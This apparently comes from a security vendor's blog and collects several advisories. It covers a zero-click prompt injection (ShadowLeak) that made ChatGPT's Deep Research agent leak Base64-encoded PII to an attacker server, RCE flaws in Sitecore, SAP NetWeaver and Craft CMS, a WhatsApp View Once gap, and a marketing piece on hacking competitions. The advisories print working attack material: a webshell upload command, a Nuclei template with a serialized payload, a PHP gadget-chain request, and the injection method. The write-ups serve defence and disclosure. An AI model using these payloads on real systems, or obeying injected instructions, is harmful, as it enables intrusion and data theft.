What is the 'ShadowLeak' Attack?

'ShadowLeak' was a zero-click indirect prompt injection vulnerability that affected ChatGPT's autonomous research agent, known as Deep Research. The attack occurred when the agent was connected to external data sources, such as Gmail.

A malicious actor could send an email containing hidden instructions that, when processed by the agent during a legitimate task (such as "summarize my emails for today"), manipulated it into leaking sensitive information to an attacker-controlled server.

The most critical aspect of 'ShadowLeak' is that the data exfiltration was "server-side." Unlike previous vulnerabilities that relied on client-side content rendering to trigger the leak, this attack occurred entirely within OpenAI's cloud infrastructure. This made it invisible to an organization’s traditional security defenses.

Technical Breakdown of the Exploit Chain

The 'ShadowLeak' exploit chain begins passively by sending an email to the victim's inbox. The attack vector is not the email itself, but rather the malicious instructions hidden within its HTML content.

Using obfuscation techniques, such as setting font sizes to zero or matching text color to the background, the malicious actor inserts a command prompt that remains invisible to a human user but is perfectly legible to the AI agent when it analyzes the raw email data.

The vulnerability was triggered when a user legitimately requested a task from the ChatGPT agent involving the processing of that specific email. Once ingested, the malicious prompt employed AI-targeted social engineering to bypass security mechanisms.

The prompt was constructed with authoritative language and the pretext of urgency, claiming that the agent had "full authorization" to execute the tasks and that failure to do so would result in "report deficiencies." This manipulated the model into prioritizing malicious instructions over its standard security guidelines.

A practical example of a prompt that would exploit this vulnerability would be the following:

The technical core of the exfiltration resided in a carefully orchestrated sequence of commands. First, the prompt instructs the agent to identify and extract Personally Identifiable Information (PII) from the available context, such as full names, addresses, or other sensitive data found within the victim's emails.

Then, in a step crucial for evasion, the agent was instructed to encode this data in Base64. This process transformed readable data, such as "John Due," into an opaque alphanumeric string, like Sm9obiBEdWU=.

Evasion and Data Exfiltration

With the data obfuscated, the next step involved constructing a malicious URL by appending the resulting Base64 string as a query parameter. To appear as a legitimate operation, the URL was disguised within the prompt as a "compliance validation system" or a "profile recovery interface."

Finally, the agent was instructed to execute an HTTP GET request to this URL using its internal tools, such as browser.open().

The Role of Encoding: This encoding step was fundamental to the attack's success. The tool's execution layer, responsible for a final security check, failed to detect the PII leak because the outgoing request did not contain sensitive data in plaintext, only the seemingly harmless Base64 string.

The request was then executed directly from OpenAI's servers, completing the server-side data exfiltration to an attacker-controlled endpoint without triggering any alerts in the victim organization's security infrastructure.

Potential Impact

The impact of 'ShadowLeak' was severe due to its stealthy nature and the point of origin of the exfiltration.

• Invisibility to Corporate Defenses: Since the data leak originated from OpenAI's infrastructure, rather than the victim's devices or corporate network, enterprise security tools (such as DLP, EDR, and firewalls) were completely blind to the attack.

• Exposure of Sensitive Data: The attack could leak any information that the ChatGPT agent could access. In the case of Gmail, this included PII, financial data, and credentials. If connected to other sources like Google Drive, Microsoft Teams, or GitHub, the scope would expand to include source code, contracts, and other proprietary information.

OpenAI's Response and Mitigation

OpenAI was notified of the vulnerability on June 18, 2025, and the flaw was patched in early August 2025. Mitigation efforts involved enhancing the agent's security controls to detect and block prompt injection attempts that lead to unauthorized data exfiltration actions.

Conclusion

The 'ShadowLeak' attack represents a milestone in the evolution of AI security threats. It demonstrated that the attack surface has expanded from the client to the server, making detection and prevention significantly more challenging.

As organizations increasingly integrate autonomous AI agents into their workflows, it is imperative to treat them not as mere chatbots, but as privileged systems that require rigorous governance, monitoring, and security controls.

References

• Radware. (2025). ShadowLeak: A Zero-Click, Service-Side Attack Exfiltrating Sensitive Data Using ChatGPT's Agent.

• Radware. (2025). ShadowLeak: The First Service-Side Leaking, Zero-click Indirect Prompt Injection Vulnerability.

• Security Joes. (2025). ShadowLeak: Server-side Data Theft in ChatGPT – Zero-Click Attack Method in the Wild.

• BleepingComputer. (2025). OpenAI fixes zero-click server-side data theft in ChatGPT (ShadowLeak).

• The Hacker News. (2025). OpenAI Patches Critical Zero-Click ShadowLeak Vulnerability in ChatGPT.

Identified on September 3, 2025, CVE-2025-53690 is a critical flaw affecting multiple products within the Sitecore platform. The vulnerability consists of an untrusted data deserialization issue in the ASP.NET ViewState mechanism. It is exploited via a static key exposed in legacy Sitecore documentation, allowing an unauthenticated attacker to execute code remotely on vulnerable instances.

CVE-2025-53690 is currently being actively exploited in the wild, which led the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add it to its Known Exploited Vulnerabilities (KEV) catalog.

Affected Versions

This vulnerability does not reside in a specific software version but rather in an insecure configuration. Implementations at risk are those that used a static and public machineKey provided in legacy Sitecore installation guides.

The table below details the potentially impacted products:

Technical Details

The exploitation of CVE-2025-53690 fundamentally depends on a configuration flaw, transforming an insecure implementation practice into a vector for Remote Code Execution (RCE).

Root Cause

The root cause of the vulnerability is the use of a static ASP.NET machineKey in production environments. This key was publicly disclosed in Sitecore installation guides dating back to 2017 and earlier. ASP.NET uses the machineKey to ensure the integrity and confidentiality of data such as the ViewState, which stores the state of a web page.

When an attacker knows this static key, they can generate a malicious ViewState payload, sign it with the key, and send it to the server. The server, in turn, trusts the signature because the key matches the one configured in its web.config file. Consequently, the application deserializes the malicious object contained within the ViewState, executing the injected code within the network service context.

Preconditions

For the exploitation to be successful, the following conditions must be met:

• Internet Exposure: The Sitecore instance must be exposed to the internet.

• Vulnerable Configuration: The environment must use the static, public machineKey found in legacy documentation. This is not a default configuration in recent installations.

No level of privilege or authentication is required for the initial attack.

Exploitation Process

The exploitation process begins with the attacker identifying a vulnerable Sitecore instance. Research indicates that attackers focus their attempts on the /sitecore/blocked.aspx endpoint, a page that utilizes a hidden ViewState form field.

1. Payload Generation: A tool like ysoserial.net is used to generate a serialized payload. This payload is typically a .NET object that, upon deserialization, executes a command on the server. In observed attacks, the payload contained a reconnaissance malware known as WEEPSTEEL.

2. Injection: The malicious payload is inserted into the __VIEWSTATE field of an HTTP POST request directed at the vulnerable page.

3. Execution: Because the payload is signed with a machineKey that the server recognizes as valid, the application processes it without suspicion, leading to remote code execution.

Below is a conceptual example of how a payload could be sent:

POST /sitecore/blocked.aspx HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded

__VIEWSTATE=[payload serializado e assinado com a chave estática]

Following initial access, attackers have been observed performing privilege escalation to SYSTEM or ADMINISTRATOR levels. They typically install tunneling tools such as EARTHWORM to establish persistence and conduct extensive reconnaissance within the Active Directory (AD) environment.

Public Exploits

While "one-click" weaponized exploits have not yet been identified in the wild, Proof of Concepts (PoCs) and Nuclei templates have already been developed. these facilitate the automated detection of the vulnerability, significantly increasing the risk of mass-scale attacks.

• Reference: Nuclei Templates Issue #13111

Mitigations

The primary recommendation is to immediately replace the static machineKey with a unique, strong, and automatically generated key. Sitecore has updated its deployment processes to ensure unique keys are generated by default and has published an official security advisory (SC2025-005) with detailed instructions.

Indicators of Compromise (IoCs)

To assist in detection efforts, security teams should monitor for the following activity:

• Network Traffic: Abnormal or high-volume requests to the /sitecore/blocked.aspx endpoint.

• Account Creation: Suspicious new user accounts on the server, such as asp$ or sawadmin.

• Files/Processes: Presence of files or processes related to WEEPSTEEL malware or the EARTHWORM tunneling tool in public application directories.

• Detection Rules: Mandiant has published a YARA rule specifically for detecting WEEPSTEEL malware.

Conclusion

CVE-2025-53690 is a critical vulnerability that highlights the dangers of insecure configurations, even within robust enterprise software. The combination of active exploitation and the availability of public scanning templates makes it urgent for organizations to verify their Sitecore implementations and apply necessary fixes. A rapid response is essential to prevent remote code execution and full system compromise.

Disclaimer: This article is for informational purposes only. All techniques described herein should only be used ethically and legally within controlled environments and with proper authorization.

Take your security to the next level: If you want to test your systems' resilience effectively, we invite you to host a hacking tournament at Bypassec, a platform where over 100 ethical hackers are ready to identify vulnerabilities in your environment before the bad actors do.

References

• NVD - CVE-2025-53690 Detail

• Google Cloud Blog - ViewState Deserialization Zero-Day

• Help Net Security - Sitecore zero-day exploited

• Sitecore Support - Security Bulletin SC2025-005

• ZeroPath Blog - CVE-2025-53690 Summary

• GitHub - Nuclei Templates

• CISA Known Exploited Vulnerabilities

• The Hacker News - CISA Orders Patch

In practice, however, the functionality presents limitations that can compromise this security promise in certain scenarios. Although it is expected that there will always be external ways to capture an image, such as photographing the screen with another phone, we identified that recent versions of iOS and macOS implemented new functionalities which go unnoticed by WhatsApp, opening space for situations where it is not possible to identify certain screen captures and mirroring.

The expected behavior on Android

On Android, WhatsApp adopts a very rigid strategy: when it detects that an external application is trying to record or mirror the screen, the application replaces the sensitive content with a black screen. This prevents both the recording and indirect viewing of the media in real time. The result is consistent protection against capture attempts.

The scenario on iOS with macOS Sequoia 15+

On iOS, screen recording blocking continues to work as expected. The problem arises, however, when using the iPhone Mirroring feature on macOS Sequoia 15. In this case, WhatsApp does not prevent the display of the image marked as View Once.

This means that, although recording is correctly blocked, it is still possible to take screenshots directly on the Mac while the image is displayed. This technical detail transforms a feature that should be transitory into something potentially persistent, contradicting the security objective of the functionality.

To reproduce this behavior, just follow a few simple steps:

1. On a MacBook with macOS Sequoia 15 or later, start the iPhone Mirroring application.

1. On WhatsApp, send an image configured as "View Once".

2. Open the image on the iPhone mirrored on the MacBook.

In this way, it is possible to observe that the view once image, in this example a QR code, is displayed without any restriction on the macOS screen. This screen can later be used to take a screenshot or even be connected to a broadcast display and accidentally leak sensitive content.

Practical implications

This technical detail should not be confused with a critical security flaw but rather understood as a limitation of the View Once protection model. The problem was recognized by Meta itself, the owner of WhatsApp, which does not intend to fix it in the short term because it considers it an acceptable risk within the purpose of the feature.

The most worrying implication is not just the possibility of extracting the image but the risk of accidental exposure. In contexts of screen sharing in meetings, broadcasts or presentations, content that should be ephemeral could end up being involuntarily displayed to third parties.

Conclusion

View Once remains a useful layer of privacy but it should not be seen as an insurmountable barrier. The case observed on iOS with macOS Sequoia shows how different combinations of platforms can create unexpected exceptions to the designed behavior.

For users, the lesson is clear. Content sent via WhatsApp, even with additional security features, should not be treated as fully protected against copying or exposure. Technology can reduce risks but it does not eliminate the possibility that supposedly ephemeral messages will be preserved.

CVE-2025-31324, published on April 24, 2025, on the NVD, is a critical flaw in the Metadata Uploader component of SAP NetWeaver Visual Composer. Initially identified by ReliaQuest on April 22, 2025, as reported in their blog, it allows unauthenticated attackers to upload malicious files, resulting in remote code execution (RCE).

With a CVSS 3.1 score of 10.0, the vulnerability has a severe impact, potentially leading to the complete compromise of the confidentiality, integrity, and availability of affected systems. Evidence of active exploitation since January 20, 2025, as documented by Onapsis, characterizes it as a zero-day vulnerability. CISA included the flaw in its Known Exploited Vulnerabilities Catalog on April 29, 2025, reinforcing the urgency of mitigation.

Affected Versions

The vulnerability affects the SAP Visual Composer (VCFRAMEWORK) component in all versions of SAP NetWeaver 7.xx (all Support Packs – SPS), which operates on the NetWeaver Java stack.

Specifically, the vulnerable component is the Metadata Uploader, present at the /developmentserver/metadatauploader endpoint. Although Visual Composer is not installed by default, it is widely enabled, with estimates suggesting that 50% to 70% of NetWeaver Java systems are potentially vulnerable, according to Hackread.

Table of Affected Versions

Technical Details

The flaw lies in the Metadata Uploader component, which does not validate the identity or permissions of the user when processing upload requests at the /developmentserver/metadatauploader endpoint. This allows unauthenticated attackers to send executable files, such as JSP webshells, to publicly accessible directories, resulting in RCE.

Exploitation Process

The attack occurs via HTTP/POST requests to the /developmentserver/metadatauploader endpoint. An attacker can send a malicious file, such as a JSP webshell, which is stored in directories such as /usr/sap//j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root.

A hypothetical example of exploitation using curl would be:

curl -X POST -F "file=@webshell.jsp" http://<target>/developmentserver/metadatauploader/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1

After the upload, the webshell can be accessed via a GET request at http://<target>/irj/webshell.jsp, allowing the execution of arbitrary commands on the server.

Public Exploits

Although full exploits are not widely available, the ease of detection and exploitation of the vulnerability serves as a warning to organizations.

Onapsis has made an open-source scanner available on GitHub to check for the presence of the vulnerable component, patch status, and known webshells. RedRays also published a scanner that detects the vulnerability and malicious files.

Additionally, a Nuclei template for the CVE is already available, allowing for mass detection of currently vulnerable applications.

id: CVE-2025-31324

info:
  name: SAP NetWeaver Visual Composer Metadata Uploader - Deserialization
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.
  reference:
    - https://www.bleepingcomputer.com/news/security/sap-fixes-suspected-netweaver-zero-day-exploited-in-attacks/
    - https://www.theregister.com/2025/04/25/sap_netweaver_patch/
    - https://me.sap.com/notes/3594142
    - https://url.sap/sapsecuritypatchday
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-31324
    cwe-id: CWE-434
    epss-score: 0.00043
    epss-percentile: 0.12532
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SAP NetWeaver Application Server Java"
  tags: cve,cve2025,sap,netweaver,rce,deserialization

variables:
  oast: ".{{interactsh-url}}"
  payload: "{{padding(oast,'a',54,'prefix')}}"


http:
  - raw:
      - |
        POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data

        {{zip('.properties',replace(base64_decode('rO0ABXNyABRqYXZhLnV0aWwuUHJvcGVydGllczkS0HpwNj6YAgABTAAIZGVmYXVsdHN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAADdwgAAAAFAAAAAnQADnByb2plY3QtbmF0dXJlc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAFzcgAMamF2YS5uZXQuVVJMliU3Nhr85HIDAAdJAAhoYXNoQ29kZUkABHBvcnRMAAlhdXRob3JpdHl0ABJMamF2YS9sYW5nL1N0cmluZztMAARmaWxlcQB+AAhMAARob3N0cQB+AAhMAAhwcm90b2NvbHEAfgAITAADcmVmcQB+AAh4cP//////////dAA2YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhdAAAcQB+AAp0AARodHRwcHh0AD1odHRwOi8vYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheHQAC0VYUE9SVC1OQU1FdAATc29tZV9wcm9qZWN0X25hbWV4eHhw'),'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',payload))}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(body, 'FAILED', 'Cause')
        condition: and
# digest: 4a0a00473045022100f5b505da6330ce6f914842169ea999457eb6ccd6702d7f10011b8b67aabd107b02203d3504d0f406612d5ccbdde93d7c452e029e4393550688a47e9410d9ce68425a:922c64590222798bb761d5b6d8e72950

Indicators of Compromise (IoCs)

Onapsis identified the following IoCs to detect compromised systems:

• Suspicious files: .jsp, .java , or .class files in /usr/sap/<SID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root, /work or /work/sync.

• Known hashes:

  • helper.jsp : SHA-256 1f72bd2643995fab4ecf7150b6367fa1b3fab17afd2abed30a98f075e4913087

  • cache.jsp: SHA-256 794cb0a92f51e1387a6b316b8b5ff83d33a51ecf9bf7cc8e88a619ecb64f1dcf

  • Files with random 8 character names (example: [a-z]{8}.jsp): SHA-256 b3e4c4018f2d18ec93a62f59b5f7341321aff70d08812a4839b762ad3ade74ee

Exploitation Requirements

• Endpoint: Access to the /developmentserver/metadatauploader endpoint via HTTP/HTTPS, with no authentication required.

• MITRE ATT&CK Tactics: T1190 (Exploit Public-Facing Application), T1505.003 (Server Software Component: Web Shell).

Mitigations

Official Patch

SAP released an emergency patch in SAP Security Note 3594142, available to customers on the support portal. Immediate application of the patch is the recommended solution to eliminate the vulnerability.

Temporary Measures

While the patch is not yet applied, the following actions can reduce risk:

1. Restrict Access: Configure firewall rules or use SAP security features to block requests to the /developmentserver/metadatauploader endpoint.

2. Disable Visual Composer: If the component is not essential, disable it to eliminate the attack surface.

3. Monitoring and Detection: Forward logs to a SIEM system and scan directories such as /usr/sap/<SID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root for unauthorized files, verifying the mentioned hashes.

Conclusion

CVE-2025-31324 represents a critical threat due to its ability to allow full control over SAP NetWeaver systems without authentication, with active exploitation confirmed since January 2025. Its inclusion in the CISA Known Exploited Vulnerabilities Catalog and its CVSS 10.0 score highlight the need for immediate action. Organizations should prioritize applying the patch from SAP Security Note 3594142, implement temporary measures, and monitor systems for signs of compromise.

If you want to test the security of your systems in a practical and effective way, we invite you to host a hacking tournament on Bypassec, a gamified platform with more than 100 ethical hackers ready to identify vulnerabilities in your environment.

References

• NVD - CVE-2025-31324

• BleepingComputer - SAP fixes suspected NetWeaver zero-day exploited in attacks

• Onapsis - Active Exploitation of SAP Zero-Day Vulnerability (CVE-2025-31324)

• ReliaQuest - Threat Spotlight: ReliaQuest Uncovers Vulnerability Behind SAP NetWeaver Compromise

• GitHub - Onapsis CVE-2025-31324 Scanner Tools

• GitHub - RedRays CVE-2025-31324 Scanner

• Hackread - SAP NetWeaver Flaw Exploited to Deploy Web Shells

• CISA - Known Exploited Vulnerabilities Catalog

• Nuclei Template: CVE-2025-31324

Identified on April 7, 2025, and officially published on April 25, 2025, in the NVD, CVE-2025-32432 presents a critical threat to organizations using Craft CMS, a widely adopted content management system. This flaw allows unauthenticated remote code execution (RCE), enabling attackers to run arbitrary commands on the server, compromising data security and system integrity. It is estimated that around 13,000 Craft CMS instances are vulnerable, with at least 300 already compromised. Patches were made available on April 10, 2025, but active exploitation has been detected since April 17, making an immediate response essential.

Affected Versions

The vulnerability affects the following versions of Craft CMS:

Technical Details

CVE-2025-32432 is an insecure deserialization vulnerability that results in remote code execution (RCE). It is related to a flaw in the Yii framework (CVE-2024-58136), fixed in version 2.0.52, but which required specific fixes in Craft CMS. The exploitation occurs at the actions/assets/generate-transform endpoint, where a malicious POST request can deserialize a manipulated PHP object, allowing the execution of arbitrary code.

Exploitation Process

To exploit the flaw, a malicious actor can follow these steps:

1. Obtaining a Valid CSRF Token: Before exploring the vulnerable endpoint, the attacker needs to obtain the required CSRF token for the next request. For this, a basic request to the /index.php?p=admin/dashboard endpoint can be performed to capture the CSRF token.

2. Sending the Malicious Payload: With a valid CSRF token, the attacker sends a POST request to the same endpoint with a payload that exploits deserialization. A simplified example of this payload would be:

{
  "assetId": 11,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}

This payload causes the server to execute the phpinfo() function, demonstrating the ability to execute code. In real scenarios, attackers can use more complex payloads to install backdoors or extract data.

The full POST request would look something like this:

POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: <hostname>
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: <token>
Content-Type: application/json

{
  "assetId": 11,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}

1. Advanced Exploitation: After the initial execution, attackers can upload malicious PHP files, such as filemanager.php, to maintain persistent access. This was observed in campaigns that used specific IPs, such as 172.86.113.137 and 104.161.32.11, to distribute malware.

Public Tools and Exploits

Tools that automate exploitation exist and are available in repositories such as:

• Chocapikk/CVE-2025-32432: A vulnerability checker for Craft CMS.

• Sachinart/CVE-2025-32432: A Python script that automates detection and exploitation, including system information extraction.

Additionally, a Metasploit module was published, lowering the barrier for less experienced attackers. SensePost also made a Nuclei template available for detection in versions 4.x and 5.x.

Evidence of Exploitation

Real world exploitation was confirmed on April 17, 2025, with campaigns installing files such as filemanager.php (MD5: d8fddbd85e6af76c91bfa17118dbecc6) and others, like autoload_classmap.php and wp-22.php. SensePost identified approximately 35,000 domains hosting Craft CMS, of which 13,000 were vulnerable, mostly in the United States.

Mitigations

Official Patch

The definitive solution is to update Craft CMS to the patched versions, released on April 10, 2025:

• Craft CMS 3.9.15 (Changelog)

• Craft CMS 4.14.15 (Changelog)

• Craft CMS 5.6.17 (Changelog)

Temporary Measures

If an immediate update is not possible, the following actions can reduce the risk:

• Firewall Blocking: Configure the firewall to block POST requests to the actions/assets/generate-transform endpoint containing the __class string in the body. This can be implemented in tools such as WAFs (Web Application Firewalls).

• Security Library: Install the Craft CMS Security Patches as a temporary solution.

• Log Monitoring: Check server logs for suspicious requests to the mentioned endpoint, especially those with __class.

Conclusion

The CVE-2025-32432 vulnerability is a critical threat that exposes Craft CMS systems to severe attacks, including data theft and malware installation. Its active exploitation and the availability of public tools, such as Python scripts and Metasploit modules, increase the urgency for action. Organizations should prioritize updating to the corrected versions and implement temporary mitigation measures if necessary. A rapid response to this flaw is essential to protect digital infrastructure.

If you want to test your systems' security in a practical and effective way, we invite you to host a hacking tournament at Bypassec, a platform with more than 100 ethical hackers ready to identify vulnerabilities in your environment.

References

• NVD - CVE-2025-32432

• Craft CMS - CVE-2025-32432

• GitHub Advisory - GHSA-f3gw-9ww9-jmc3

• Exploit PoC - Sachinart/CVE-2025-32432

• SensePost Blog - Investigating an in-the-wild campaign using RCE in CraftCMS

• Exploit PoC - Chocapikk/CVE-2025-32432

• Craft CMS Security Patches

• Craft CMS Changelog 3.9.15

• Craft CMS Changelog 4.14.15

• Craft CMS Changelog 5.6.17

With the rise of ransomware attacks, massive data leaks, and digital fraud, protecting APIs, systems, and applications has become a strategic priority for companies across all sectors. However, many organizations still struggle to determine the best path to test their security. Should you invest in a traditional pentest or launch a bug bounty program?

Each of these models has its own benefits and limitations. But what if there was a way to combine the best of both worlds? In this article, we will explore these approaches, highlight their differences, and introduce a highly effective model gaining immense traction in the market: Hacking Competitions.

How do security tests work?

When we talk about testing application security, the two most well known models in the market are the pentest and the bug bounty. Both share the same ultimate goal of finding vulnerabilities before malicious attackers do.

Penetration Testing (Pentest)

A pentest is a classic and structured approach. A company hires a specialized team to simulate real attacks within a controlled environment. This process typically occurs over a set period of days or weeks with a strictly defined scope. At the end, the company receives a technical report containing the discovered vulnerabilities.

While effective and essential for compliance (like SOC2, ISO 27001, and PCI DSS), the pentest has limitations. It depends heavily on the specific skills of a few allocated professionals and the limited time they have available. This predictable approach might leave undiscovered gaps that a larger group of malicious agents working without deadlines could eventually exploit.

Bug Bounty

A bug bounty functions as an open invitation to independent security researchers around the world to test an application for flaws. Instead of paying for hours worked, the company rewards professionals exclusively for valid vulnerabilities they identify. It is a model based purely on merit and results.

This approach brings incredible diversity of thought, global reach, and the opportunity to discover deeper bugs. On the flip side, it requires the company to be ready to handle a massive volume of reports, manage payouts, and constantly moderate rules of engagement.

Pentest vs Bug Bounty: A Direct Comparison

Choosing between these two models depends on the profile and maturity of your company. The reality is that both have distinct advantages and drawbacks.

Ultimately, neither approach solves every problem in isolation. The pentest offers control, while the bug bounty provides depth and diversity. Recognizing this gap, Bypassec created an alternative designed to combine these two worlds: Hacking Competitions.

The Best of Both Worlds: What is a Hacking Competition?

A Hacking Competition is a high intensity security testing model created by Bypassec to identify system flaws quickly and accurately. We establish a secure communication channel that connects your company to an elite global community of security specialists. They focus their collective intelligence on your systems for a set period and are rewarded for the vulnerabilities they find.

A Hacking Competition does not replace a pentest. It enhances it. While pentests are ideal for sensitive internal data, our competitions maximize the search for external flaws through the collaboration of hundreds of researchers.

Here is how it works in practice and why it outpaces traditional models:

• Strength in Numbers: In a traditional security test, you rely on the perspective of one or two consultants. In a Hacking Competition, you use mathematics to your advantage. If hundreds of skilled people test your system simultaneously and find nothing, your confidence level is drastically higher than if a single person tells you everything is fine.

• The Reward Pool and Financial Efficiency: The company sets aside a specific budget destined only for those who report real flaws. If your systems are highly secure and the specialists do not find critical vulnerabilities, Bypassec refunds part or even 100% of the reward pool. You only pay for the real impact generated by the community.

• Zero Administrative Headache: Unlike traditional bug bounties where your internal team gets flooded with messages, Bypassec dictates the rules of engagement. We filter all incoming reports, validate what is real, and manage all payments. You do not deal with the crowd. You deal directly with our platform, receiving clean and actionable diagnostics ready for your developers to fix.

• Security Through Redundancy: Because this is a competition, researchers are motivated to report flaws immediately to secure their prize. If one researcher decides to wait, another will report it within minutes. This redundancy guarantees complete transparency and ensures no secrets are kept from your business.

Addressing the Elephant in the Room: Is it Safe?

It is entirely natural for business owners to ask: "What if the researcher uses the flaw against me?"

The answer lies in the stark contrast between criminal profit and ethical profit. Today, for a hacker to profit from cybercrime, they must take immense risks. They face the nightmare of money laundering, complex anonymity, the constant risk of imprisonment, and the uncertainty of whether a victim will even pay a ransom.

At Bypassec, we offer the exact opposite path. We provide fast and clean payments, professional prestige, and zero legal risk. The researcher is a free agent motivated by merit. The incentive for them to report the flaw to us in minutes and receive a guaranteed prize is mathematically superior to any attempt at extortion. Having a structured channel to reward these researchers actually discourages crime and strengthens your digital environment.

Choosing Your Competition Model

Because these tournaments involve external researchers, they are designed for applications already exposed to the internet. Depending on your needs, you can choose between two frameworks:

1. Public Competitions: The intelligence channel is open to any verified user on the Bypassec platform. These events have massive reach and allow hundreds of specialists to participate, providing the maximum possible testing depth.

2. Private Competitions: Designed for applications that require controlled access or special account creation. In this model, only an exclusive, hand-picked group of elite specialists is invited to participate.

Note: Internal applications containing confidential production data should still be tested through our traditional penetration testing services. No sensitive internal data is shared with researchers during a competition.

The Definitive Path to Security Maturity

Relying solely on routine checks is no longer enough to protect your business. A Hacking Competition is an organized, scalable, and efficient way to mobilize the best minds in the market to work in your favor. By bridging the gap between the structured nature of a pentest and the crowd sourced power of a bug bounty, Bypassec ensures you discover your blind spots well before any real risk occurs.